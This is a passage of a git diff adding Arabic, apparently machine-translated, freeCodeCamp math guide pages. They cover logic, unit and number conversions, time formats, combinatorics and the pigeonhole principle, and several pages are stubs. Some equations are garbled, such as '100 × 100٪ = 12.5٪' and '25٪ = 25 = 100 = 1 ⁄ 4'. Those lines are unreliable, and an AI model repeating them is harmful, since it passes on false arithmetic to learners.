+في الرياضيات المتقطعة ، في ضوء بيان شرطي "إذا كان a ، ثم b" ، فإننا يمكن أن يكون لديك 3 بيانات ذات صلة: أي بيان شرطي يتكون من جزئين: ط) فرضية ("إذا"): ب) الاستنتاج ("ثم"): "إذا تم تمثيل a ، ثم b" على النحو التالي: أ → ب لنفترض مثالاً: "إذا لم تكن هناك مدرسة ، فستكون نهاية الأسبوع". ع → س • للحصول على كونفيرس من البيان الشرطي أعلاه ، التبادل hypoth- esis والخاتمة. ف → ص وبالتالي ، فإن العكس سيكون: "إذا كانت نهاية الأسبوع ، فليس هناك مدرسة". • للحصول على معكوس البيان المشروط أعلاه ، خذ نفي كل من الفرضية والاستنتاج. →p → ¬q وبالتالي ، سيكون معكوس: "إذا كانت هناك مدرسة ، فعندها يكون يوم العمل الأسبوعي." • للحصول على كونترافيتيفي من البيان الشرطي أعلاه ، التبادل الفرضية وإبرام البيان العكسي. →q → ¬p ومن ثم ، فإن الاعتراض سيكون: "إذا كان يوم من أيام الأسبوع ، فهناك مدرسة".
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/conversion-of-temperature-celsius-to-fahrenheit/index.md b/client/src/guide/arabic/mathematics/conversion-of-temperature-celsius-to-fahrenheit/index.md
new file mode 100644
index 0000000000..b8b5d1130b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/conversion-of-temperature-celsius-to-fahrenheit/index.md
@@ -0,0 +1,19 @@
+---
+title: Conversion of Temperature Celsius to Fahrenheit
+localeTitle: تحويل درجة الحرارة مئوية إلى فهرنهايت
+---
+## تحويل درجة الحرارة مئوية إلى فهرنهايت
+
+توفر الصيغة التالية التحويل من درجة الحرارة مئوية إلى فهرنهايت:
+
+T فهرنهايت = T مئوية \* 9/5 + 32
+
+وهكذا ، 0 o C = 32 o F و 100 o C = 212 o F.
+
+يكون التحويل من درجة الحرارة فهرنهايت إلى درجة مئوية كما يلي:
+
+T مئوية = 5/9 \* (T فهرنهايت - 32)
+
+#### معلومات اكثر:
+
+[مئوية إلى فهرنهايت](http://www.rapidtables.com/convert/temperature/how-celsius-to-fahrenheit.htm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/convert-decimals-to-fractions/index.md b/client/src/guide/arabic/mathematics/convert-decimals-to-fractions/index.md
new file mode 100644
index 0000000000..8dc48634b2
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/convert-decimals-to-fractions/index.md
@@ -0,0 +1,27 @@
+---
+title: Convert Decimals to Fractions
+localeTitle: تحويل الكسور العشرية إلى الكسور
+---
+## تحويل الكسور العشرية إلى الكسور
+
+1.  اكتب رقمًا عشريًا بالقيمة العشرية / 1
+2.  اضرب البسط والمقام بمقدار 10 لكل لا بعد النقطة العشرية.
+3.  بسّط الكسر حتى يصبح غير قابل للاختزال.
+
+## أمثلة
+
+### مثال 1
+
+تحويل 0.25 إلى كسر.
+
+0.25 / 1 -> 25/100 -> 5/20 -> 1/4
+
+الجواب النهائي هو 1/4 وهو تمثيل كسري للقيمة العشرية لا 0.25
+
+### Ezxample 2
+
+تحويل 0.2 إلى كسر.
+
+0.2 / 1 ---> x100 = 20/100 = 2/10.
+
+![أمثلة](http://m.mathblaster.com/Mathblaster/CoolMath/Article-Images/decimals-to-fractions-&-fractions-to-decimals.jpg)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/convert-fractions-to-percents/index.md b/client/src/guide/arabic/mathematics/convert-fractions-to-percents/index.md
new file mode 100644
index 0000000000..36878407b9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/convert-fractions-to-percents/index.md
@@ -0,0 +1,17 @@
+---
+title: Convert Fractions to Percents
+localeTitle: تحويل الكسور إلى Percents
+---
+## تحويل الكسور إلى Percents
+
+يمثل واحد بالمائة (1٪) مائة جزء من الكل.
+
+مائة في المئة (100 ٪) تمثل كلها.
+
+لتحويل كسر إلى نسب مئوية ، ببساطة اضربه بالكامل (100٪).
+
+### أمثلة
+
+½ × 100٪ = 50٪
+
+100 × 100٪ = 12.5٪
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/convert-percents-to-fractions/index.md b/client/src/guide/arabic/mathematics/convert-percents-to-fractions/index.md
new file mode 100644
index 0000000000..c766f200e1
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/convert-percents-to-fractions/index.md
@@ -0,0 +1,21 @@
+---
+title: Convert Percents to Fractions
+localeTitle: تحويل Percents إلى الكسور
+---
+## تحويل Percents إلى الكسور
+
+لتحويل النسبة المئوية إلى الكسور ، استخدم الصيغة أدناه:
+
+#### `x % / 100`
+
+#### مثال 1
+
+ 25٪ = 25 = 100 = 1 ⁄ 4 
+
+#### مثال 2
+
+ 36٪ = 36 ⁄ 100 = 9 ⁄ 25 
+
+#### مثال 3
+
+ 100٪ = 100 ⁄ 100 = 1
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/converting-am-pm-to-24-hour-clock/index.md b/client/src/guide/arabic/mathematics/converting-am-pm-to-24-hour-clock/index.md
new file mode 100644
index 0000000000..d7bff1cb4c
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/converting-am-pm-to-24-hour-clock/index.md
@@ -0,0 +1,64 @@
+---
+title: Converting AM/PM to 24 Hour Clock
+localeTitle: تحويل AM / PM إلى 24 ساعة على مدار الساعة
+---
+## تحويل AM / PM إلى 24 ساعة على مدار الساعة
+
+هناك طريقتان رئيسيتان لإظهار الوقت: "ساعة 12 ساعة" أو "am / pm": 24-Hour Clock.
+
+معظم البلدان تفضل ساعة 24 ساعة ، ومع ذلك ، في أمريكا اللاتينية والبلدان الناطقة باللغة الإنجليزية تستخدم الساعة 12 ساعة بشكل واسع ، حيث مرتين في اليوم هو الساعة 12:00 ، في منتصف الليل وعند الظهر. للتمييز بين الاثنين ، يمكنك إضافة am أو pm على التوالي.
+
+يبين الجدول أدناه التحويل بين نظام ساعة 12 ساعة ونظام ساعة 24 ساعة.
+
+| نظام ساعة 12 ساعة | نظام ساعة 24 ساعة | | ------------- |: -------------: | | 12:00 صباحًا | 00:00 | | 01:00 صباحًا | 01:00 | | 02:00 صباحًا | 02:00 | | 03:00 صباحًا | 03:00 | | 04:00 صباحًا | 04:00 | | 05:00 ص | 05:00 | | 06:00 صباحًا | 06:00 | | 07:00 صباحًا | 07:00 | | 08:00 ص | 08:00 | | 09:00 صباحًا | 09:00 | | 10:00 صباحًا | 10:00 | | 11:00 صباحًا | 11:00 | | 12:00 مساء | 12:00 | | 01:00 مساء | 13:00 | | 02:00 مساء | 14:00 | | 03:00 مساء | 15:00 | | 04:00 مساء | 16:00 | | 05:00 مساء | 17:00 | | 06:00 مساء | 18:00 | | 07:00 مساء | 19:00 | | 08:00 مساء | 20:00 | | 09:00 مساء | 21:00 | | 10:00 مساء | 22:00 | | 11:00 مساء | 23:00 |
+
+## 12 ساعة على مدار الساعة (صباحا / مساء)
+
+يتم تقسيم اليوم إلى 12 ساعة من منتصف الليل إلى الظهر (ساعة صباحا) و 12 ساعة من نون إلى منتصف الليل (ساعات بعد الظهر).
+
+الاختصارات "am و pm" مشتقة من اللاتينية:
+
+*   am: Ante Meridiem = قبل الظهر.
+*   مساء: بوست ميريدي = بعد الظهر.
+
+## ساعة بنظام 24 ساعة
+
+يبدأ اليوم من منتصف الليل وحتى منتصف الليل وينقسم إلى 24 ساعة ، ويشار إليه بالساعات التي مرت منذ منتصف الليل ، من 0 إلى 23.
+
+## تحويل AM / PM إلى 24 ساعة على مدار الساعة
+
+### من الساعة الأولى من اليوم (الساعة 12:00 (منتصف الليل) حتى 12:59 صباحًا) ، وطرح 12 ساعة.
+
+*   12:00 صباحًا = 0:00
+*   12:15 صباحًا = 0:15
+
+### من الساعة 1:00 صباحا حتى 12:59 ظهرا ، تبقى كما هي.
+
+*   9:00 صباحًا = 9:00 صباحًا
+*   12:59 م = 12:59
+
+### من الساعة 1:00 إلى الساعة 11:59 مساءً ، أضف 12 ساعة.
+
+*   3:17 مساءً = 15:17
+*   11:59 مساءً = 23:59.
+
+## تحويل 24 ساعة إلى الساعة am / pm
+
+### في الساعة الأولى من اليوم (0:00 إلى 0:59) ، أضف 12 ساعة وأضف الإنهاء "am".
+
+*   0:30 = 12:30 صباحًا
+*   0:55 = 12:55 صباحًا
+
+### من 1:00 إلى 11:59 ، فقط أضف الإنهاء "am".
+
+*   2:25 = 2:25 صباحًا
+*   9:30 = 9:30 صباحًا
+
+### من الساعة 13:00 إلى الساعة 23:59 ، اطرح 12 ساعة ، وأضف الإنهاء "pm".
+
+*   16:55 = 4:55 مساءً
+*   21:45 = 8:45 مساءً
+
+#### معلومات اكثر:
+
+لقراءة المزيد على نظام 24 ساعة ، يمكنك النقر فوق [Wikipedia](https://en.wikipedia.org/wiki/24-hour_clock)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/converting-between-radians-and-degrees/index.md b/client/src/guide/arabic/mathematics/converting-between-radians-and-degrees/index.md
new file mode 100644
index 0000000000..a4bbc2cf95
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/converting-between-radians-and-degrees/index.md
@@ -0,0 +1,30 @@
+---
+title: Converting Between Radians and Degrees
+localeTitle: تحويل بين راديان ودرجات
+---
+## تحويل بين راديان ودرجات
+
+### الصيغ العامة
+
+يمكن استخدام الصيغ التالية للتحويل بين الراديان والدرجات:
+
+ `r = d * (π / 180) 
+ 
+ d = r * (180 / π) 
+ 
+ where r is the angle in radians and d is the angle in degrees. 
+` 
+
+### أمثلة
+
+تحويل 2π / 3 راديان إلى درجات:
+
+ `2π/3 * 180/π = 360π/3π = 360/3 = 120 degrees 
+` 
+
+تحويل 30 درجة إلى راديان:
+
+ `30 * π/180 = 30π/180 = π/6 or (1/6)π radians 
+ 
+ Note: Radians are usually expressed in terms of π instead of a rounded decimal as this form represents the actual value rather than an approximation. 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/converting-directly-from-binary-to-hexadecimal/index.md b/client/src/guide/arabic/mathematics/converting-directly-from-binary-to-hexadecimal/index.md
new file mode 100644
index 0000000000..c271454d4c
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/converting-directly-from-binary-to-hexadecimal/index.md
@@ -0,0 +1,32 @@
+---
+title: Converting Directly from Binary to Hexadecimal
+localeTitle: تحويل مباشرة من ثنائي إلى سداسي عشري
+---
+## تحويل مباشرة من ثنائي إلى سداسي عشري
+
+يمكنك تقسيم الأرقام الثنائية الخاصة بك لتحويلها إلى أرقام سداسية عشرية.
+
+### الطريقة العامة
+
+1.  قطع سلسلة من الأرقام الثنائية الخاصة بك إلى مجموعات من أربعة ، بدءا من اليمين.
+2.  إضافة أصفار إضافية إلى مقدمة الرقم الأول إذا لم يكن أربعة أرقام.
+3.  قم بتحويل مجموعة مكونة من 4 أرقام في كل مرة.
+
+يمكنك استخدام جدول التحويل هذا:
+
+يمكن استخدام Colons لمحاذاة الأعمدة.
+
+| ثنائي | عشري | | ------ | ----------: | | 0000 | 0 | | 0001 | 1 | | 0010 | 2 | | 0011 | 3 | | 0100 | 4 | | 0101 | 5 | | 0110 | 6 | | 0111 | 7 | | 1000 | 8 | | 1001 | 9 | | 1010 | أ | | 1011 | ب | | 1100 | ج | | 1101 | د | | 1110 | ه | | 1111 | F |
+
+### مثال
+
+تحويل الرقم الثنائي 01101000000001 إلى رقم سداسي عشري.
+
+ `1. 01101000000001 => 01|1010|0000|0001 
+ 2. 01|1010|0000|0001 => 0001|1010|0000|0001 
+ 3. 0001|1010|0000|0001 => 1A01 
+` 
+
+#### معلومات اكثر:
+
+مزيد من المعلومات مع الرسوم التوضيحية يمكن العثور عليها [هنا](https://www.wikihow.com/Convert-Binary-to-Hexadecimal#Converting_Long_Binary_Strings_sub)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/converting-from-decimal-to-binary/index.md b/client/src/guide/arabic/mathematics/converting-from-decimal-to-binary/index.md
new file mode 100644
index 0000000000..726319cf14
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/converting-from-decimal-to-binary/index.md
@@ -0,0 +1,53 @@
+---
+title: Converting from Decimal to Binary
+localeTitle: تحويل من عشري إلى ثنائي
+---
+## تحويل من عشري إلى ثنائي
+
+يمكنك استخدام الأجزاء المتبقية لتحويل الأرقام العشرية إلى أرقام ثنائية.
+
+### الطريقة العامة
+
+1) قسمة العدد العشري الأصلي على 2 وسجل القاسم والباقي. 2) كرر الخطوة الأولى لتحل محل الرقم العشري الأصلي مع حاصل آخر وجدت حتى تحصل على حاصل تساوي 0. 3) خذ آخر باقية قمت بتسجيلها لتكون MSB الخاص بك (الأكثر أهمية) والباقي الأول الذي قمت بتسجيله ليكون LSB (الأقل أهمية). اكتب الباقي في عكس الترتيب من كيفية توليدها.
+
+### أمثلة
+
+تحويل الرقم العشري 30 إلى ثنائي.
+
+ `30 / 2 = 15 r 0 
+ 15 / 2 = 7 r 1 
+ 7 / 2 = 3 r 1 
+ 3 / 2 = 1 r 1 
+ 1 / 2 = 0 r 1 
+ 
+ Writing out the remainders bottom to top gives you the bit pattern: 
+ 
+ 11110 
+ 
+ Checking your answer by converting the binary number back to decimal: 
+ 
+ (1*2^4)+(1*2^3)+(1*2^2)+(1*2^1)+(0*2^0) = 30 
+ 
+ So your answer is correct. 
+` 
+
+تحويل الرقم العشري 116 إلى ثنائي.
+
+ `116 / 2 = 58 r 0 
+ 58 / 2 = 29 r 0 
+ 29 / 2 = 14 r 1 
+ 14 / 2 = 7 r 0 
+ 7 / 2 = 3 r 1 
+ 3 / 2 = 1 r 1 
+ 1 / 2 = 0 r 1 
+ 
+ Writing out the remainders bottom to top gives you the bit pattern: 
+ 
+ 1110100 
+ 
+ Checking your answer by converting the binary number back to decimal: 
+ 
+ (1*2^6)+(1*2^5)+(1*2^4)+(0*2^3)+(1*2^2)+(0*2^1)+(0*2^0) = 116 
+ 
+ So your answer is correct. 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/converting-pounds-to-ounces/index.md b/client/src/guide/arabic/mathematics/converting-pounds-to-ounces/index.md
new file mode 100644
index 0000000000..e1ef63b3a3
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/converting-pounds-to-ounces/index.md
@@ -0,0 +1,13 @@
+---
+title: Converting Pounds to Ounces
+localeTitle: تحويل الجنيه الى اوقيه
+---
+## تحويل الجنيه الى اوقيه
+
+جنيه واحد (رطل) يساوي 16 أوقية (أوقية). لتحويل جنيه إلى أوقية ، تضاعف عدد الجنيهات في `16` .
+
+### أمثلة
+
+شيء يزن `6 lbs` يزن `96 oz` ، لأن `16 X 6` هو `96` .
+
+`.5 lbs` يحول إلى `8 oz` لأن `.5 X 16 = 8` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/converting-units-centimeters-to-meters/index.md b/client/src/guide/arabic/mathematics/converting-units-centimeters-to-meters/index.md
new file mode 100644
index 0000000000..16b85b9ae3
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/converting-units-centimeters-to-meters/index.md
@@ -0,0 +1,49 @@
+---
+title: Converting Units Centimeters to Meters
+localeTitle: تحويل وحدات السنتيمتر إلى عدادات
+---
+## تحويل وحدات السنتيمتر إلى عدادات
+
+Centi- (رمز c) هي بادئة وحدة في النظام المتري تدل على عامل واحد من مائة
+
+المعنى هو Centimenter واحد من مائة من المتر. x cm = xm / 100
+
+أمثلة 1 سم = 1 م / 100 = 0.01 م 10 سم = 10 م / 100 = 0.1 م 1.2 سم = 1.2 م / 100 = 0.012 م
+
+لكل تعريف ، _واحد_ سنتيمتر _واحد_ هو _hundreth_ من المتر
+
+في الصيغة التالية ، يتم تصنيف الوحدات مع أقواس \[\] حولها
+
+ `[cm] / 100 = [m] 
+` 
+
+إذا أدخلت القيمة التي لديك ، دعنا نقول 50 سم ، فسيتم حسابها على النحو التالي:
+
+ `50[cm] / 100 = 0.5[m] 
+` 
+
+نتيجة حساب إرجاع قيمة 0.5 متر ، فإن كمية متر 50 سنتيمتر هو.
+
+### أمثلة
+
+1.  1 سم = 0.01 م ( 1 ⁄ 100 )
+2.  25 سم = 0.25 م ( 25 ⁄ 100 )
+3.  200 سم = 2 م ( 200 ⁄ 100 )
+
+### الترميز
+
+ `function convertCentimeterToMeter (cm) { 
+  return ( cm / 100 ); 
+ } 
+ 
+ // Set some example measurements 
+ var lengthInCm = 300; 
+ var lengthInM; 
+ 
+ lengthInM = convertCentimeterToMeter(lengthInCm); // 3 
+` 
+
+### معلومات اكثر:
+
+*   [تحويل سم إلى م](https://www.convertunits.com/from/cm/to/m)
+*   [مقالة ويكيبيديا في Centi](https://en.wikipedia.org/wiki/Centi-)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/converting-units-minutes-to-hours/index.md b/client/src/guide/arabic/mathematics/converting-units-minutes-to-hours/index.md
new file mode 100644
index 0000000000..cada7a9401
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/converting-units-minutes-to-hours/index.md
@@ -0,0 +1,28 @@
+---
+title: Converting Units Minutes to Hours		
+localeTitle: تحويل وحدات دقيقة إلى ساعات
+---
+## تحويل وحدات دقيقة إلى ساعات
+
+يتم تعريف دقيقة كواحدة الستين من ساعة. التحويل بين الدقائق والساعات يعطى من قبل
+
+ `t<sub>h</sub> = t<sub>min</sub> / 60 
+ 
+ t<sub>min</sub> = t<sub>h</sub> * 60 
+` 
+
+حيث t min هو الوقت بالدقائق و t h هو الوقت بالساعة .
+
+رموز الوقت بالدقائق والساعات هي **دقيقة** و **h** على التوالي (النظام الدولي للوحدات ، الطبعة الثامنة ، [الفصل 4: الوحدات خارج SI](https://www.bipm.org/utils/common/pdf/si_brochure_8_en.pdf) ).
+
+### أمثلة
+
+التحويل من الوقت بالدقائق إلى الوقت بالساعة:
+
+ `90 minutes = (90 / 60) hours = 1.5 hours 
+` 
+
+التحويل من الوقت بالساعة إلى الوقت بالدقائق:
+
+ `24 hours = (24 * 60) minutes = 1440 minutes 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/correlation/index.md b/client/src/guide/arabic/mathematics/correlation/index.md
new file mode 100644
index 0000000000..f63b9ea93b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/correlation/index.md
@@ -0,0 +1,9 @@
+---
+title: Correlation
+localeTitle: علاقه مترابطه
+---
+## علاقه مترابطه
+
+العلاقة تعني مقدار شيء يتغير مع شيء آخر. إذا كان هناك ارتباط إيجابي بين A و B ، عند زيادة A ، يزيد B. إذا كان هناك ارتباط سلبي ، عند زيادة A ، يقل B (أو العكس). إذا لم يكن هناك ارتباط ، فلا يؤثر A على B والعكس بالعكس.
+
+![الارتباطات](http://www.statisticshowto.com/wp-content/uploads/2012/10/pearson-2-small.png)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/coterminal-angles/index.md b/client/src/guide/arabic/mathematics/coterminal-angles/index.md
new file mode 100644
index 0000000000..39167c70ae
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/coterminal-angles/index.md
@@ -0,0 +1,11 @@
+---
+title: Coterminal Angles
+localeTitle: زوايا Coterminal
+---
+## زوايا Coterminal
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/coterminal-angles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/counting/combinations/index.md b/client/src/guide/arabic/mathematics/counting/combinations/index.md
new file mode 100644
index 0000000000..2076c8ad3f
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/counting/combinations/index.md
@@ -0,0 +1,38 @@
+---
+title: Combinations
+localeTitle: تركيبات
+---
+## تركيبات
+
+المجموعة هي مجموعة مختارة من العناصر من مجموعة ، حيث لا يهم ترتيب التحديد. أكثر رسميا:
+
+> A k-combination of a set S is a subset of k distinct elements of S. مميزة إذا كانت المجموعة تحتوي على عناصر n ، فإن عدد مجموعات k يساوي [المعامل ذو الحدين](https://guide.freecodecamp.org/mathematics/counting/factorials-and-binomial-coefficients/) 1
+
+![alt text](https://wikimedia.org/api/rest_v1/media/math/render/svg/08bdf0fff474c26293414f9eb01ab4bc73ef941f "معامل ذو الحدين")
+
+أو إذا كنت تفضل استخدام [عامل التصنيع](https://guide.freecodecamp.org/mathematics/counting/factorials-and-binomial-coefficients/) :
+
+![alt text](https://wikimedia.org/api/rest_v1/media/math/render/svg/813f7124a61dac205542db3f8491b36cb306453a "مضروب")
+
+تشير التوليفات إلى مجموعة من الأشياء n المتخذة في كل مرة **دون** تكرار. للإشارة إلى المجموعات التي يسمح فيها بالتكرار ، غالبًا ما يتم استخدام المصطلحين k-selection أو k-combination مع التكرار ونستخدم الصيغ التالية:
+
+![alt text](https://wikimedia.org/api/rest_v1/media/math/render/svg/6c73b231f2fbfa42d5e10c310d8c3f5022d9ceb0 "معامل ذو الحدين")
+
+## بعض الأمثلة:
+
+تعد التوليفات مفيدة جدًا عندما تريد حل المشكلات التجميعية مثل المشاكل التالية:
+
+ `Compute the probability to obtain a poker from 
+ a standard fifty-two card deck drawing 5 cards 
+ at the same time 
+` 
+
+من أجل حل هذه المشكلة البسيطة ، تحتاج إلى حساب عدد 5 أيدي بطاقة ممكن باستخدام مجموعات:
+
+![alt text](https://latex.codecogs.com/gif.latex?%5Cfrac%7B13%5Cbinom%7B52%7D%7B4%7D%5Cbinom%7B48%7D%7B1%7D%7D%7B%5Cbinom%7B52%7D%7B5%7D%7D "مشكلة البوكر")
+
+اهتم بذلك ![alt text](https://latex.codecogs.com/gif.latex?%5Cbinom%7B48%7D%7B1%7D "48 في 1") يساوي 48 حسب تعريف المعامل ذي الحدين.
+
+### مصادر
+
+1 [دخول تركيبة ويكيبيديا](https://en.wikipedia.org/wiki/Combination)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/counting/factorials-and-binomial-coefficients/index.md b/client/src/guide/arabic/mathematics/counting/factorials-and-binomial-coefficients/index.md
new file mode 100644
index 0000000000..588c685fa0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/counting/factorials-and-binomial-coefficients/index.md
@@ -0,0 +1,11 @@
+---
+title: Factorials and Binomial Coefficients
+localeTitle: العوامل وعوامل ذات الحدين
+---
+## العوامل وعوامل ذات الحدين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/factorials-and-binomial-coefficients/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/counting/inclusion-exclusion-principle/index.md b/client/src/guide/arabic/mathematics/counting/inclusion-exclusion-principle/index.md
new file mode 100644
index 0000000000..dc8e767fee
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/counting/inclusion-exclusion-principle/index.md
@@ -0,0 +1,11 @@
+---
+title: Inclusion Exclusion Principle
+localeTitle: مبدأ استبعاد الشمول
+---
+## مبدأ استبعاد الشمول
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/inclusion-exclusion-principle/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/counting/index.md b/client/src/guide/arabic/mathematics/counting/index.md
new file mode 100644
index 0000000000..8641317c2d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/counting/index.md
@@ -0,0 +1,11 @@
+---
+title: Counting
+localeTitle: عد
+---
+## عد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/counting/permutations-with-replacement/index.md b/client/src/guide/arabic/mathematics/counting/permutations-with-replacement/index.md
new file mode 100644
index 0000000000..7342b2c02e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/counting/permutations-with-replacement/index.md
@@ -0,0 +1,11 @@
+---
+title: Permutations with Replacement
+localeTitle: التباديل مع استبدال
+---
+## التباديل مع استبدال
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/permutations-with-replacement/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/counting/permutations-without-replacement/index.md b/client/src/guide/arabic/mathematics/counting/permutations-without-replacement/index.md
new file mode 100644
index 0000000000..7a67ce725e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/counting/permutations-without-replacement/index.md
@@ -0,0 +1,11 @@
+---
+title: Permutations Without Replacement
+localeTitle: التباديل دون استبدال
+---
+## التباديل دون استبدال
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/permutations-without-replacement/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/counting/pigeonhole-principle/index.md b/client/src/guide/arabic/mathematics/counting/pigeonhole-principle/index.md
new file mode 100644
index 0000000000..f0865d49d7
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/counting/pigeonhole-principle/index.md
@@ -0,0 +1,30 @@
+---
+title: Pigeonhole Principle
+localeTitle: مبدأ الحمامة
+---
+## مبدأ الحمامة
+
+مبدأ Pigeonhole هو إضفاء طابع رسمي على الرتابة المنطقية والبديهية. من الأفضل فهم هذه الملاحظة مع مثال.
+
+### مثال
+
+هناك خمسة مربعات وست كرات. يتم وضع كل واحدة من الكرات الست في أحد المربعات الخمسة. _يجب أن_ يكون هناك مربع واحد على الأقل به كرتان على الأقل. إذا تم وضع خمس كرات في خمسة صناديق بحيث لا يوجد مربع يحتوي على اثنين من الكرات في ذلك ، بغض النظر عن المربع الذي يتم وضع الكرة السادسة فيه ، سيكون لهذا المربع أكثر من كرة واحدة.
+
+### تعميم
+
+هذه الملاحظة يمكن تعميمها لصناديق N وكرات M. إذا كان هناك مربعات N وكرات M ، و M> N ، فيجب أن يحتوي صندوق واحد على الأقل على كرات متعددة.
+
+لاحظ أن Pigeonhole Principle لا يخبرنا بأي شيء عن أي مربع يحتوي على أكثر من كرة واحدة ، أو كم عدد الكرات الموجودة في المربعات. ينص مبدأ Pigeonhole فقط على وجود صندوق به كرات متعددة.
+
+### استخدم في علوم الكمبيوتر
+
+غالبًا ما يظهر مبدأ Pigeonhole في علوم الكمبيوتر. على سبيل المثال ، تأخذ خوارزمية التجزئة SHA256 الإدخال من أي حجم (مثل سلسلة) وتخرج قيمة 256 بت. نظرًا لأن إخراج خوارزمية التجزئة SHA256 يكون دائمًا 256 بت ، هناك تجزئة محتملة بمقدار 2 ^ 256. على الرغم من أن هذا العدد كبير جدًا ، إلا أن هناك عددًا غير محدود من المدخلات المحتملة. باستخدام التعميم أعلاه ، يمكننا القول أن N = 2 ^ 256 و M = اللانهاية. نظرًا لأن اللانهاية أكبر من 2 ^ 256 (M> N) ، فحينئذٍ يجب أن يكون أحد هذه التجزئة على الأقل من خلال مبدأ Pigeonhole مدخلين مختلفين لهذ القيمة نفسها. يدعوا علماء الكمبيوتر اثنين من المدخلات المختلفة التي تشترك في تجزئة مشتركة الاصطدام.
+
+### استخدامها في مشاكل الحساب العامة
+
+يمكننا استخدام مبدأ Pigeonhole لإثبات بعض الأشياء الأكثر مقصور على فئة معينة كذلك. مثال شائع هو مشكلة عد الشعر. رأس الإنسان لديه أي مكان من 0 إلى حوالي 150،000 شعرة. للبقاء آمنًا ، لنفترض أن الإنسان يمكن أن يحتوي على ما يصل إلى مليون شعرة على رأسه. يبلغ عدد سكان باريس ، فرنسا حوالي 2.2 مليون نسمة. إذا قمنا بتصنيف كل شخص في باريس إلى مربعات مبنية على عدد الشعر الموجود على رأسه ، يمكننا استخدام تعميمتنا أعلاه لنقول N = 1000000 (عدد الصناديق ، مربع واحد لكل عدد محتمل للشعر) و M = 2200000 ( سكان باريس ، فرنسا). منذ M> N ، من خلال مبدأ Pigeonhole يمكننا أن نؤكد على وجه اليقين أن شخصين على الأقل في باريس يجب أن يكون لهما نفس العدد من الشعر على رأسهما.
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا - مبادئ الحمامة](https://en.wikipedia.org/wiki/Pigeonhole_principle)
+*   [المزيد من الأمثلة الممتعة لمبدأ Pigeonhole](https://mindyourdecisions.com/blog/2008/11/25/16-fun-applications-of-the-pigeonhole-principle/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/counting/rule-of-product/index.md b/client/src/guide/arabic/mathematics/counting/rule-of-product/index.md
new file mode 100644
index 0000000000..fac7863522
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/counting/rule-of-product/index.md
@@ -0,0 +1,11 @@
+---
+title: Rule of Product
+localeTitle: حكم المنتج
+---
+## حكم المنتج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/rule-of-product/index.md) .
+
